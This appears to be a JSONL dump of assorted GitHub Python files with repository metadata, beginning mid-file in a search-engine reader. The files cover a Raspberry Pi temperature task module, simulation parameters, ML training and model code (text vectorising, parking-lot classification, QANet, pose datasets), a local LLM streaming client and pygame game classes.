self.model.add_doc(doc = words_list, docid = temp_docitem.doc_url)\n                else:\n                    temp_list = getattr(temp_docitem, self.fit_corpus)\n                    temp_short_body = getattr(temp_docitem, \"body\")[:200]\n                    #temp_short_links = getattr(temp_docitem, \"links\")[:10]\n                    temp_short_description = getattr(temp_docitem, \"description\")\n                    temp_list += temp_short_body + temp_short_description\n                    self.model.add_doc(doc = temp_list, docid = temp_docitem.doc_url)\n\n            if isothers:\n                if \"links\" in others_list:\n                    self.links_dict[temp_docitem.doc_url] = getattr(temp_docitem, \"links\")\n                if \"title\" in others_list:\n                    self.title_dict[temp_docitem.doc_url] = getattr(temp_docitem, \"title\")\n                if \"body\" in others_list:\n                    self.body_dict[temp_docitem.doc_url] = getattr(temp_docitem, \"body\")\n                if \"h1\" in others_list:\n                    self.h1_dict[temp_docitem.doc_url] = getattr(temp_docitem, \"h1\")\n                if \"h2\" in others_list:\n                    self.h2_dict[temp_docitem.doc_url] = getattr(temp_docitem, \"h2\")\n                if \"h3\" in others_list:\n                    self.h3_dict[temp_docitem.doc_url] = getattr(temp_docitem, \"h3\")\n                if \"keywords\" in others_list:\n                    self.keywords_dict[temp_docitem.doc_url] = getattr(temp_docitem, \"keywords\")\n                if \"description\" in others_list:\n                    self.description_dict[temp_docitem.doc_url] = getattr(temp_docitem, \"description\")\n\n        print(\"End reading docs\")\n        return corpus_dict\n\n\n\n    def read_queries(self):\n        queries_list = list()\n        print(\"Start reading queries\")\n        with open(PATH_QUERY, \"r\") as f:\n            for line in tqdm(f.readlines()):\n                words_list = line.split()[1:]\n                words_list = clear_text_old(words_list)\n                queries_list.append(words_list)\n        print(\"End reading queries\")\n        return queries_list\n\n\n\n\n\n","repo_name":"Kakoedlinnoeslovo/3_sem_technosphere","sub_path":"info/TextRelevance/SearchEngineFromScratch/Reader_2.py","file_name":"Reader_2.py","file_ext":"py","file_size_in_byte":4418,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"15487907888","text":"from __future__ import absolute_import, unicode_literals\nfrom celery import shared_task\nimport Adafruit_DHT\nimport RPi.GPIO as GPIO\n\n# Pin defining and board mode\nGPIO.setmode(GPIO.BOARD)\nsensor = Adafruit_DHT.DHT11\npin = 4\nled = 13\nGPIO.setup(led, GPIO.OUT)\n\n# Test method\n@shared_task(name=\"test_task\")\ndef testTask():\n    return \"Test\"\n\n# This function checks the threshold temperature and lights up an led\n@shared_task\ndef checkTemperature(temperature, humidity, led):\n    if(temperature < 21):\n        GPIO.output(led, 0)\n    else:\n        GPIO.output(led, 1)\n\n# this method powers off the led\n@shared_task\ndef powerOffLed():\n    GPIO.output(led, 1)\n\n# this method powers on the led\n@shared_task\ndef powerOnLed():\n    GPIO.output(led, 0)\n\n# This method returns a dictionary for the html view with sensor values\n@shared_task\ndef getInfo():\n    humidity, temperature = Adafruit_DHT.read_retry(sensor, pin)\n    checkTemperature(temperature, humidity, led)\n    return dict(temp = temperature, hum = humidity)","repo_name":"sgabriel190/rpi-temperature-django","sub_path":"django_app/tempsens/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"4484417086","text":"'''\nParameters of the simulation\n'''\n\nimport numpy as np\nimport dill\n\ndef set_parameters(case, N):\n    '''\n    Sets the parameters used in the simulation\n\n    Parameters\n    ----------\n\n    case: dictionary\n        Dictionary containing infromation about whether the user homogeneous or heterogeneous\n    N: int\n        Number of users\n\n    Returns\n    ----------\n\n    bn: 1-D array\n        Amount of data a user has\n    dn: 1-D array\n        Cycles each user's job needs\n    fn: 1-D array\n        Computational capability of the user\n    gn: 1-D array\n        Coefficient denoting the consumed energy per cycle locally\n    tn: 1-D array\n        Time to process the data locally by each user\n    en: 1-D array\n        Energy to process the data locally by each user\n    e1: float\n        Error for user offloading convergence\n    an: 1-D array\n        Parameter of prospect theory utility\n    kn: 1-D array\n        Weighting factor that captures sensitivity of players toward losses as compared to gains\n    cpar: float\n        The parameter used to set the cost for users\n    bpar: float\n        The parameter used to set the initial offloading of users\n    c: 1-D array\n        Each column repesents the pricing factor for each user\n    fixed_transm_rate : float\n        The transmission rate for offloading 1 bit per second [fixed]\n    fixed_transm_power : float\n        The transmission power used for the transmission [fixed]\n    '''\n\n    SAVE_FIGS = True\n    ONE_FIGURE = False\n    GENERATE_FIGURES = True\n    GENERATE_CONVERGING_FIGURES = True\n    LOAD_SAVED_PARAMETERS = False\n    SAVE_PARAMETERS = False\n    SAVE_RESULTS = True\n\n    CONSTANT_OFFLOADING = False\n\n    e1 = 10000\n\n    if case[\"users\"] == \"homo\":\n        bn = 10*1e6 * np.ones(N) + np.random.uniform(-1, 1, size=N) * 1e6\n        dn = 8*1e9 * np.ones(N) + np.random.uniform(-1,1, size=N) * 1e9\n\n        fn = 6e9 * np.ones(N) + np.random.uniform(-1,1, size=N) * 1e9\n        gn = 4e-9 * np.ones(N) + np.random.uniform(-1,1, size=N) * 1e-9\n\n        an = 0.2 * np.ones(N)\n        kn = 1.2 * np.ones(N)\n\n    if case[\"users\"] == \"hetero\":\n        bn = 10*1e6 * np.ones(N)\n        dn = 8*1e9 * np.ones(N)\n\n        fn = 6e9 * np.ones(N)\n        gn = 4e-9 * np.ones(N)\n\n        # TODO change to heterogeneous users\n        an = 0.2 * np.ones(N)\n        kn = 1.2 * np.ones(N)\n\n    tn = dn/fn\n    en = gn*dn\n\n    # we want that c is less than the equation so we set it equal to to equation * 1/2\n    cpar = 0.5\n    c = cpar * bn/dn * (1 - (1/(tn*en)))\n\n    assert c.all() > 0, \"c should be positive\"\n\n    bpar = 0\n\n    fixed_transm_rate = 1*1e9\n    fixed_transm_power = 0.1\n\n    return locals()\n\ndef load_parameters():\n    '''\n    Loads the parameters from a file\n\n    Returns\n    ----------\n\n    params: dictionary\n        Dictionary with the paramters of the simulation\n    '''\n    print(\"Loading parameters\")\n    infile = \"saved_runs/parameters/\" + \"parameters\"\n\n    with open(infile, 'rb') as in_strm:\n        params = dill.load(in_strm)\n\n    return params\n\ndef save_parameters(params):\n    '''\n    Saves the parameters in a file\n\n    Parameters\n    ----------\n\n    params: dictionary\n        Dictionary with the paramters of the simulation\n    '''\n    outfile = \"saved_runs/parameters/\" + \"parameters\"\n\n    with open(outfile, 'wb') as fp:\n        dill.dump(params, fp)\n","repo_name":"vinPopulaire/Risk_aware_MEC_offloading","sub_path":"parameters.py","file_name":"parameters.py","file_ext":"py","file_size_in_byte":3334,"program_lang":"python","lang":"en","doc_type":"code","stars":65,"dataset":"github-code","pt":"60"}
+{"seq_id":"10930630864","text":"#! /usr/bin/env python\n\n\nfrom ..base import CalibBase\nimport tempfile\nimport yaml\nfrom pathlib import Path\nfrom tollan.utils.sys import touch_file\n\n\ndef test_calib_base():\n    with tempfile.TemporaryDirectory() as rootpath:\n        rootpath = Path(rootpath)\n        filepath = rootpath / 'index.yaml'\n        with open(filepath, 'w') as fo:\n            yaml.dump({\n                'test_key': 'test_value',\n                'test_path': 'test_path_value'\n                }, fo)\n        calobj = CalibBase.from_indexfile(filepath)\n        assert calobj.index['test_key'] == 'test_value'\n        assert calobj.rootpath == filepath.parent == rootpath\n        assert calobj.rootpath / 'test_path_value' == \\\n            calobj.resolve_path(calobj.index['test_path'], validate=False)\n        touch_file(calobj.rootpath / 'test_path_value')\n        assert calobj.resolve_path(calobj.index['test_path']) == \\\n            calobj.rootpath / 'test_path_value' \n","repo_name":"toltec-astro/tolteca","sub_path":"tolteca/cal/tests/test_base.py","file_name":"test_base.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"8413240258","text":"import  requests\n\nfrom Fxm.config.rwYaml import readYaml\n\n\ndef getSkuList(proIds):\n    url = 'https://m.lhs11.com/fxm/services/local/fxm/product/product@query_sku_list.japi'\n\n    params = {'variables[product_id]': proIds}\n    re = requests.get(url, params=params)\n    return re.json()\n\ndef test():\n    productIds = readYaml('DataproductID.yaml')\n    for productId in productIds:\n        r = getSkuList(productId)\n        print(r['result']['rows'])\n","repo_name":"caiziyang/LDX","sub_path":"Fxm/getProduct/getSkuList.py","file_name":"getSkuList.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"20608441180","text":"# Class Vectoriser can deal with three different types \n# of vectorisers present in scikit learn\n\n# 1. CountVectorizer - \n# Convert a collection of text documents to a matrix of token counts.\n\n# 2. TfidfVectorizer - \n# Convert a collection of raw documents to a matrix of TF-IDF features\n# TF-IDF are word frequency scores that try to highlight words that are \n# more interesting, e.g. frequent in a document but not across documents.\n# The TfidfVectorizer will tokenize documents, learn the vocabulary\n# and inverse document frequency weightings, and allow you to encode \n# new documents\n\n# 3. hashingVectorizer\n\n#from preprocess import preprocesser\nfrom Preprocessing.preprocess import preprocesser\n\nclass Vectoriser (preprocesser):       \n    def __init__(self, filename, vectorizer=\"count\", lowercase=True, \n                n_gram = (1,2), max_df =1.0, min_df =1):\n        super().__init__(filename)\n        \n        # create an instance of the vectorizer (count, tf-idf, hashing)\n        print(\"vectoriser selecting\")\n        self.select_vectorizer(vectorizer, lowercase, n_gram, max_df, min_df)\n        self.fit_and_transform_vect()\n        super().close_file()\n\n    def select_vectorizer(self, vectorizer, lowercase, n_gram, max_df, min_df):\n        # create an instance of CountVectorizer class\n        if vectorizer == \"count\":\n            print(\"vectoriser selected\")\n            from sklearn.feature_extraction.text import CountVectorizer\n            self.vectorizer = CountVectorizer(\n                analyzer=\"word\", # default\n                lowercase= lowercase, # default, convert to lowercase\n                tokenizer= self.tokenise(), # this step tokenizes the text\n                # punctuation is removed\n                stop_words= self.stop_words, # remove stop_words\n                # token_pattern = define patterns to identify tokens \n                ngram_range= n_gram, # tuple to determine the range for n-grams\n                max_df= max_df,\n                min_df= min_df\n            )\n        \n        # create an instance of TF-IDF Vectorizer class\n        elif vectorizer == \"tf-idf\":\n            from sklearn.feature_extraction.text import TfidfVectorizer\n            self.vectorizer = TfidfVectorizer(\n\n            )\n\n    # call the fit and transform function\n    def fit_and_transform_vect(self):  \n        # call the fit() function to tokenize and learn vocabulary\n        \n        self.vectorizer.fit([self.text])        \n        \n        # access the vocabulary to see what exactly was tokenized\n        print(self.vectorizer.vocabulary_)\n\n        # Terms that were ignored\n        # The stop_words_ attribute can get large and increase the model\n        # size when pickling. This attribute can be safely removed using\n        # delattr or set to None before pickling\n        print(self.vectorizer.stop_words_)\n\n        # call the transform() function to encode documents as vectors\n        # Transform documents to document-term matrix\n        vector = self.vectorizer.transform([self.text])\n\n        # summarize encoded vector\n        print(vector.shape)\n        print(type(vector))\n\n        # The vectors returned from a call to transform() will be sparse\n        # vectors, and can transform back to NumPy arrays to look and better\n        # understand what is going on by calling the toarray() function.\n        print(vector.toarray())\n\nfilename = \"File\\metamorphosis_clean.txt\"\ncount_vector = Vectoriser(filename=filename, vectorizer=\"count\")\n# tfidf_vector = Vectoriser(filename=filename, vectorizer=\"tf-idf\")","repo_name":"ritika24-s/Generic-Text-Processor","sub_path":"Vectorisation/vectors.py","file_name":"vectors.py","file_ext":"py","file_size_in_byte":3558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"12803885069","text":"import torch\nfrom torch.utils.data import DataLoader\nfrom torchvision import transforms\n\nimport yaml\nimport argparse\n\nimport pklotclass.model as pkmodel\nfrom .dataloader import ParkingLotDataset\nfrom .trainer import Trainer\n\ndef run_train(cfg):\n    train_img_path = cfg['train_img_path']\n    train_img_labels = cfg['train_img_labels']\n    test_img_path = cfg['test_img_path']\n    test_img_labels = cfg['test_img_labels']\n    batch_size = cfg['batch_size']\n\n    transform = transforms.Compose([\n        transforms.Resize(256),\n        transforms.RandomResizedCrop(224),\n        transforms.ToTensor(),\n        transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))\n    ])\n\n    train_dataset = ParkingLotDataset(train_img_path, train_img_labels, transform)\n    if 'val_img_labels' in cfg:\n        val_img_path = cfg['val_img_path']\n        val_img_labels = cfg['val_img_labels']\n        val_dataset = ParkingLotDataset(val_img_path, val_img_labels, transform)\n    else:\n        len_val = int(0.2 * len(train_dataset))\n        len_train = len(train_dataset) - len_val\n        train_dataset, val_dataset = torch.utils.data.random_split(train_dataset, (len_train, len_val))\n    test_dataset = ParkingLotDataset(test_img_path, test_img_labels, transform)\n\n    train_dataloader = DataLoader(train_dataset, batch_size=batch_size, shuffle=True, num_workers=0)\n    val_dataloader = DataLoader(val_dataset, batch_size=batch_size, shuffle=True, num_workers=0)\n    test_dataloader = DataLoader(test_dataset, batch_size=batch_size, shuffle=True, num_workers=0)\n\n    model_cfg = cfg['model']\n    model = getattr(pkmodel, model_cfg['type'])(**model_cfg['args'])\n\n    criterion = torch.nn.CrossEntropyLoss()\n    optimizer = getattr(torch.optim, cfg['optimizer']['type'])(model.parameters(), **cfg['optimizer']['args'])\n    scheduler = torch.optim.lr_scheduler.StepLR(optimizer, **cfg['scheduler'])\n\n    trainer = Trainer(model, criterion, optimizer, train_dataloader, val_dataloader, test_dataloader, scheduler, cfg)\n\n    trainer.train()\n\n    trainer.test()\n\ndef main():\n    parser = argparse.ArgumentParser(description='Training of PKLot classification model')\n    parser.add_argument('-c', '--config', type=str, required=True)\n    args = parser.parse_args()\n    with open(args.config, 'r') as yaml_stream:\n        cfg = yaml.safe_load(yaml_stream)\n\n    run_train(cfg)\n\nif __name__ == '__main__':\n    main()","repo_name":"er-Bot/AutoParkDetect","sub_path":"pklotclass/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27467865927","text":"import tensorflow as tf\nfrom tensorflow.contrib.layers import xavier_initializer\nfrom tensorflow.python.estimator.run_config import RunConfig\nfrom tensorflow.python.lib.io import file_io\nfrom tensorflow.python.ops import partitioned_variables\nfrom tensorflow.python.ops.lookup_ops import index_table_from_tensor,index_table_from_file\nfrom tensorflow.python.training import training_util\n\nfrom comprehension.network.QAnet_contextual_embedding import QAnetEmbedding\nfrom comprehension.network.QAnet_modelling_blocks import QaModelBlock\nfrom comprehension.network.QAnet_output import QAOutputLayer\nfrom comprehension.network.bidaf import BiDafLayer\nfrom comprehension.network.contextual_embedding import BiLstmLayer\nfrom comprehension.network.dcn import DcnLayer\nfrom comprehension.network.head import SpanMatchHead\nfrom comprehension.network.modeling import  ModelingLayer\nfrom comprehension.network.output import OutputLayer\nfrom comprehension.network.output_att_m2 import OutputLayerAttM2\nfrom comprehension.network.word_embedding import WordEmbedLayer\nfrom comprehension.parameter import user_params\nfrom tensorflow.contrib.eager.python.tfe import py_func\n'''\n  * Created by linsu on 2018/8/15.\n  * mailto: lsishere2002@hotmail.com\n'''\n\ndef model_fn(features,labels,mode:tf.estimator.ModeKeys,config: RunConfig, params:user_params):\n    print(\"--- model_fn in %s ---\" % mode)\n    num_ps_replicas = config.num_ps_replicas if config else 0\n    if tf.executing_eagerly():\n        partitioner = None\n    else:\n        partitioner = partitioned_variables.min_max_variable_partitioner(\n            max_partitions=num_ps_replicas)\n    partitioner = None\n    def is_training():\n        return mode == tf.estimator.ModeKeys.TRAIN\n    layers = list()\n    with tf.variable_scope(\"rc\", partitioner=partitioner, initializer=xavier_initializer()):\n        feature_size = 0\n        #params.procedure = [\"wordembedding,contextual,bidaf,modeling,output\"]\n        for name in params.procedure:\n            if name == \"wordembedding\":\n                l=WordEmbedLayer(params,is_training())\n            elif name == \"contextual\":\n                l=(BiLstmLayer(params,feature_size,is_training()))\n            elif name == \"bidaf\":\n                l=(BiDafLayer(params,feature_size,is_training()))\n            elif name == \"dcn\":\n                l=(DcnLayer(params,feature_size,is_training()))\n            elif name == \"modeling\":\n                l=(ModelingLayer(params,feature_size,2,is_training(),name = \"m1\"))\n            elif name == \"output\":\n                l=(OutputLayer(params,feature_size,is_training()))\n            elif name == \"output_att\":\n                l=(OutputLayerAttM2(params,feature_size,is_training()))\n            elif name == \"QAnetEmbedding\":\n                l=(QAnetEmbedding(params,feature_size,is_training()))\n            elif name == \"QaModelBlock\":\n                l=(QaModelBlock(params,feature_size,is_training()))\n            elif name==\"QAOutput\":\n                l=QAOutputLayer(params,feature_size,is_training())\n            else:\n                raise ValueError(\"unknow precedure, valid name is pcnn,mi_att,birnn\")\n            layers.append(l)\n            feature_size = l.get_output_feature_size()\n\n        head = SpanMatchHead(name=\"span_head\")\n        logits = features\n        for layer in layers:\n            logits = layer(logits)\n\n    def train_op_fn(loss):\n        global_step=training_util.get_global_step()\n        #warmed up learning rate\n        lr = tf.minimum(params.learning_rate, 0.001 / tf.log(999.) * tf.log(tf.cast(global_step, tf.float32) + 1))\n        opt = tf.train.AdamOptimizer(learning_rate = lr, beta1 = 0.8, beta2 = 0.999, epsilon = 1e-7)\n        grads = opt.compute_gradients(loss)\n        gradients, variables = zip(*grads)\n        capped_grads, _ = tf.clip_by_global_norm(\n            gradients, params.clip_norm)\n        train_op = opt.apply_gradients(\n            zip(capped_grads, variables), global_step=global_step)\n        return train_op\n        # return tf.train.AdamOptimizer(learning_rate=params.learning_rate) \\\n        #     .minimize(loss, global_step=training_util.get_global_step())\n\n    if params.enable_ema and mode==tf.estimator.ModeKeys.TRAIN:\n        ema = tf.train.ExponentialMovingAverage(decay=params.ema_decay)\n        trained_var = tf.trainable_variables()\n        ema_op = ema.apply(trained_var)\n        # for var in tf.get_collection(key = \"not_in_ema\"):\n        #     trained_var.remove(var)\n        variables_to_restore = ema.variables_to_restore()\n        #print( \"in train-------------------------------------\")\n        #print(variables_to_restore)\n        with tf.control_dependencies([ema_op]):\n            logits = tf.identity(logits[0]),tf.identity(logits[1])\n\n    #regularization_loss = None\n    lamda  = 3e-7\n    regularization_loss = [lamda * x for x in tf.losses.get_regularization_losses()]\n    ps  = None\n    if mode==tf.estimator.ModeKeys.TRAIN or mode==tf.estimator.ModeKeys.EVAL:\n        ps = [labels[params.p1],labels[params.p2]]\n\n    spec = head.create_estimator_spec(\n        None, mode, logits, labels=ps, train_op_fn=train_op_fn, regularization_losses=regularization_loss,params= params)\n    if params.enable_ema and mode==tf.estimator.ModeKeys.PREDICT:\n        ema = tf.train.ExponentialMovingAverage(decay=params.ema_decay)\n        variables_to_restore = ema.variables_to_restore()\n        #print( \"in prodict-------------------------------------\")\n        #print(variables_to_restore)\n        scaffold = spec.scaffold\n        scaffold._saver =tf.train.Saver(variables_to_restore)\n\n    return spec\n\n\n","repo_name":"linsu07/QAnetEstimator","sub_path":"comprehension/network/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5601,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"60"}
+{"seq_id":"22461106041","text":"import os\n\nimport numpy as np\n\nfrom easycv.core.evaluation.wholebody_keypoint_eval import \\\n    WholeBodyKeyPointEvaluator\nfrom easycv.datasets.pose.data_sources.coco import PoseTopDownSource\nfrom easycv.datasets.registry import DATASETS\nfrom easycv.datasets.shared.raw import RawDataset\n\n\n@DATASETS.register_module()\nclass WholeBodyCocoTopDownDataset(RawDataset):\n    \"\"\"CocoWholeBodyDataset dataset for top-down pose estimation.\n\n    Args:\n        data_source: Data_source config dict\n        pipeline: Pipeline config list\n        profiling: If set True, will print pipeline time\n    \"\"\"\n\n    def __init__(self, data_source, pipeline, profiling=False):\n        super(WholeBodyCocoTopDownDataset,\n              self).__init__(data_source, pipeline, profiling)\n\n    def evaluate(self, outputs, evaluators, **kwargs):\n        if len(evaluators) > 1 or not isinstance(evaluators[0],\n                                                 WholeBodyKeyPointEvaluator):\n            raise ValueError(\n                'WholeBodyCocoTopDownDataset only support one `WholeBodyKeyPointEvaluator` now, '\n                'but get %s' % evaluators)\n\n        evaluator_args = {\n            'num_joints': self.data_source.ann_info['num_joints'],\n            'sigmas': self.data_source.sigmas,\n            'class2id': self.data_source._class_to_ind\n        }\n        eval_result = {}\n        for evaluator in evaluators:\n            eval_result.update(\n                evaluator.evaluate(\n                    prediction_dict=outputs,\n                    groundtruth_dict=self.data_source.coco.dataset,\n                    **evaluator_args))\n\n        return eval_result\n","repo_name":"alibaba/EasyCV","sub_path":"easycv/datasets/pose/wholebody_topdown_coco_dataset.py","file_name":"wholebody_topdown_coco_dataset.py","file_ext":"py","file_size_in_byte":1648,"program_lang":"python","lang":"en","doc_type":"code","stars":1565,"dataset":"github-code","pt":"60"}
+{"seq_id":"32496223839","text":"import requests\nimport json\n\nurl = \"http://localhost:1234/v1/chat/completions\"\n\npayload = {\n    \"messages\": [\n        {\n            \"role\": \"system\",\n            \"content\": \"You are a research engineer specialized in the applications of AI in robotics.\"\n        },\n        {\n            \"role\": \"user\",\n            \"content\": \"List a number of libraries I can use for robotics.\"\n        }        \n    ],\n    \"max_tokens\": 100,\n    \"temperature\": 0.5,\n    \"stream\": True\n}\n\nheaders = {\n    \"Content-Type\": \"application/json\"\n}\n\nresponse = requests.post(url, data=json.dumps(payload), headers=headers, stream=True)\n\nif response.status_code == 200:\n    for response_chunk in response.iter_lines():\n        if response_chunk:\n            rc = response_chunk.decode()\n            rc = json.loads(rc)\n            print(rc[\"choices\"][0][\"delta\"][\"content\"])\nelse:\n    print(\"Error:\", response.status_code)\n","repo_name":"nemtos/gpt4all-ui","sub_path":"tests/unitary_tests/test_chat_interface_streaming.py","file_name":"test_chat_interface_streaming.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"}
+{"seq_id":"1257240300","text":"import pygame\nimport config\nfrom util_objects import *\nfrom meta import create_logger\n\n\nlog = create_logger('basic_objects')\n\n\nclass Clock:\n    def __init__(self):\n        self.start = time()\n        self.previous_ticks = DroppingStack(config.window.fps_history)\n        self.previous_ticks.put(self.start)\n        self.ticks_since_start = 0\n\n\n    def time(self):\n        return time()\n\n\n    def tick(self, framerate=None):\n        cur_tick = time()\n        if framerate is not None:\n            delay = cur_tick - self.previous_ticks.arr[-1]\n            delay = (1 / framerate) - delay\n            if delay > 0.0:\n                log.debug(f\"Delaying frame by {round(delay,4)} seconds\")\n                sleep(delay)\n        self.previous_ticks.put(time())\n        self.ticks_since_start += 1\n\n\n    def avg_frame_time(self):\n        avg_time = 0\n        if len(self.previous_ticks.arr) == 0:\n            return avg_time\n\n        for i in range(len(self.previous_ticks.arr)-1, 0, -1):\n            avg_time += self.previous_ticks.arr[i] - self.previous_ticks.arr[i-1]\n\n        if len(self.previous_ticks.arr) > 1:\n            avg_time /= len(self.previous_ticks.arr)-1\n\n        return avg_time\n\n\n    def get_fps(self):\n        avg_frame_time = self.avg_frame_time()\n        if avg_frame_time == 0:\n            return -1\n        else:\n            return 1 / avg_frame_time\n\n\nclass Drawable(Rect):\n    def __init__(self, *, game,\n                 img=None,\n                 position=Coord(0,0),\n                 size=Coord(10,10),\n                 visible=True,\n                 valid_screens=None):\n        self.game = game\n        self.game.drawables.append(self)\n\n        self.visible = visible\n        if img is not None:\n            self.img = pygame.transform.scale(img, size.as_tuple)\n        else:\n            self.img = img\n        self.valid_screens = valid_screens\n\n        if isinstance(position, Coord):\n            position = position.as_tuple\n        if isinstance(size, Coord):\n            size = size.as_tuple\n\n        if not isinstance(position, tuple):\n            raise TypeError('Position must be a tuple, not {typeof(position)}')\n        if not isinstance(size, tuple):\n            raise TypeError('Size must be a tuple, not {typeof(position)}')\n\n        self.x = position[0]\n        self.y = position[1]\n        self.width = size[0]\n        self.height = size[1]\n\n\n    def __eq__(self, other):\n        if not isinstance(other, Drawable): return False\n        if not super().__eq__(other): return False\n        if self.img != other.img: return False\n        if self.valid_screens != other.valid_screens: return False\n        return True\n\n\n    @property\n    def size(self):\n        return Coord(self.width, self.height)\n\n    @size.setter\n    def size(self, new_size):\n        if isinstance(new_size, Coord):\n            new_size = new_size.as_tuple\n\n        self.width = new_size[0]\n        self.height = new_size[1]\n        self._size = Coord(*new_size)\n        if self.img is not None:\n            self.img = pygame.transform.scale(self.img, new_size)\n\n\n    @property\n    def position(self):\n        return Coord(self.left, self.top)\n\n    @position.setter\n    def position(self, new_position):\n        if isinstance(new_position, Coord):\n            new_position = new_position.as_tuple\n\n        assert new_position[0] > 0 and new_position[1]\n        self.left = new_position[0]\n        self.right = new_position[1]\n\n\n    def delete(self):\n        if self in self.game.drawables: self.game.drawables.remove(self)\n\n\n    def __draw__(self, screen):\n        if not self.visible: return False\n        if self.valid_screens is not None:\n            if isinstance(self.valid_screens, Screen):\n                if self.game.current_screen != self.valid_screens: return False\n            elif isinstance(self.valid_screens, tuple):\n                if self.game.current_screen not in self.valid_screens: return False\n\n        if self.img is None:\n            pygame.draw.rect(screen, config.game.default_rect_colour, pygame.Rect(*self.position.as_tuple, *self.size.as_tuple))\n        else:\n            screen.blit(self.img, self)\n        return True\n\n\nclass Clickable(Drawable):\n    def __init__(self, **kwargs):\n        super().__init__(**kwargs)\n\n\n    def on_click(self):\n        pass\n\n\nclass Simulatable(Drawable):\n    def __init__(self, *, game,\n                 velocity=Velocity(scalar=0, degrees=0),\n                 simulating=True,\n                 bounce_screen_edges=True,\n                 collide=True,\n                 name=None,\n                 sound=None,\n                 **kwargs):\n        \"\"\"\n            Parameters:\n            - velocity : The initial speed and direction of the object.\n            - simulating : Whether or not to simulate movements and collisions.\n            - bounce_screen_edges : Whether or not to bounce off the screen edges when simulating.\n            - collide : Whether or not to collide with other collidable objects and to call the collide_callback.\n        \"\"\"\n        self.game = game\n        self.game.simulatables.append(self)\n\n        self.name = name\n        self.sound = sound\n\n        self.velocity = velocity\n\n        self.simulating = simulating\n        self.bounce_screen_edges = bounce_screen_edges\n        self.collide = collide\n\n        super().__init__(game=game, **kwargs)\n\n\n    def __eq__(self, other):\n        if not isinstance(other, Simulatable): return False\n        if not super().__eq__(other): return False\n        if self.name != other.name: return False\n        if self.sound != other.sound: return False\n        if self.velocity != other.velocity: return False\n        if self.simulating != other.simulating: return False\n        if self.bounce_screen_edges != other.bounce_screen_edges: return False\n        if self.collide != other.collide: return False\n        return True\n\n\n    def __str__(self):\n        if self.name is not None:\n            return f'Simulatable-{self.name}'\n        else:\n            return super().__str__()\n\n\n    def delete(self):\n        if self in self.game.simulatables:\n            self.game.simulatables.remove(self)\n        super().delete()\n\n\n    def __move_object_with_velocity__(self):\n        self.x += self.velocity.x\n        self.y += self.velocity.y\n\n\n    def __isimulate__(self):\n        \"\"\"Simulates movement and collisions by modifying self.\n        Returns False if nothing was simulated, True if any simulation occurred.\n        \"\"\"\n        if not self.simulating: return False\n        if self.valid_screens is not None:\n            if isinstance(self.valid_screens, Screen):\n                if self.game.current_screen != self.valid_screens: return False\n            elif isinstance(self.valid_screens, tuple):\n                if self.game.current_screen not in self.valid_screens: return False\n\n        self.__move_object_with_velocity__()\n\n        if self.bounce_screen_edges:\n            self.__bounce_screen_edges__()\n\n        self.__detect_collisions_with_objects__()\n\n        return True\n\n\n    def __bounce_screen_edges__(self):\n        if self.left <= 0:\n            self.velocity.x = abs(self.velocity.x)\n            self.screen_edge_callback('left')\n        elif self.right >= config.window.size[0]:\n            self.velocity.x = -abs(self.velocity.x)\n            self.screen_edge_callback('right')\n\n\n    def __collide_object__(self, obj):\n        if self.collide_callback is not None:\n            self.collide_callback(obj)\n        if obj.collide_callback is not None:\n            obj.collide_callback(self)\n\n\n    def __detect_collisions_with_objects__(self):\n        for obj in self.game.collidable_objects():\n            if obj == self: continue\n            if self.colliderect(obj):\n                self.__collide_object__(obj)\n\n\n    def hit_by_bullet(self, bullet):\n        \"\"\"Doesn't do anything for simulatables, must be implemented for each game_object\n        that inherits from this class.\"\"\"\n        pass\n\n\n    def screen_edge_callback(self, side_bounced_off):\n        log.debug(f'I ({self}) bounced off the {side_bounced_off} side.')\n\n\n    def collide_callback(self, obj):\n        log.debug(f'I ({self} collided with {obj}.')\n","repo_name":"AndreCo17/Space-Invaders","sub_path":"Space_Invaders/basic_objects.py","file_name":"basic_objects.py","file_ext":"py","file_size_in_byte":8177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"21612962567","text":"dict = {}\n\nCar = list(input().split())\nfor i in range(len(Car)):\n    if Car[i] in dict:\n        dict[Car[i]] += 1\n    else:\n        dict[Car[i]] = 1\n\n# key 값을 알파벳 순으로 정렬 --> 오름차순\nanswer = sorted(dict)\nfor i in answer:\n    print(i, end=\" \")\nprint()\nprint(len(answer))\n","repo_name":"Bumnote/Jung_Ol_Python","sub_path":"정올_기타 자료형/950_형성평가_3.py","file_name":"950_형성평가_3.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
